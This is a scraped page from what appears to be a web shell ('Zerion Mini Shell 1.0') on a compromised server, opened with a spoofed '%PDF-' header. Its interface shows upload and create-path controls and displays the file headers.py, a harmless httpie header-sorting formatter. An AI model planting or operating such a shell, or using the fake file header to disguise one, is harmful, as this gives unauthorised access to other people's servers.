%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.6/site-packages/httpie/output/formatters/
Upload File :
Create Path :
Current File : //lib/python3.6/site-packages/httpie/output/formatters/headers.py

from httpie.plugins import FormatterPlugin


class HeadersFormatter(FormatterPlugin):

    def format_headers(self, headers):
        """
        Sorts headers by name while retaining relative
        order of multiple headers with the same name.

        """
        lines = headers.splitlines()
        headers = sorted(lines[1:], key=lambda h: h.split(':')[0])
        return '\r\n'.join(lines[:1] + headers)

Zerion Mini Shell 1.0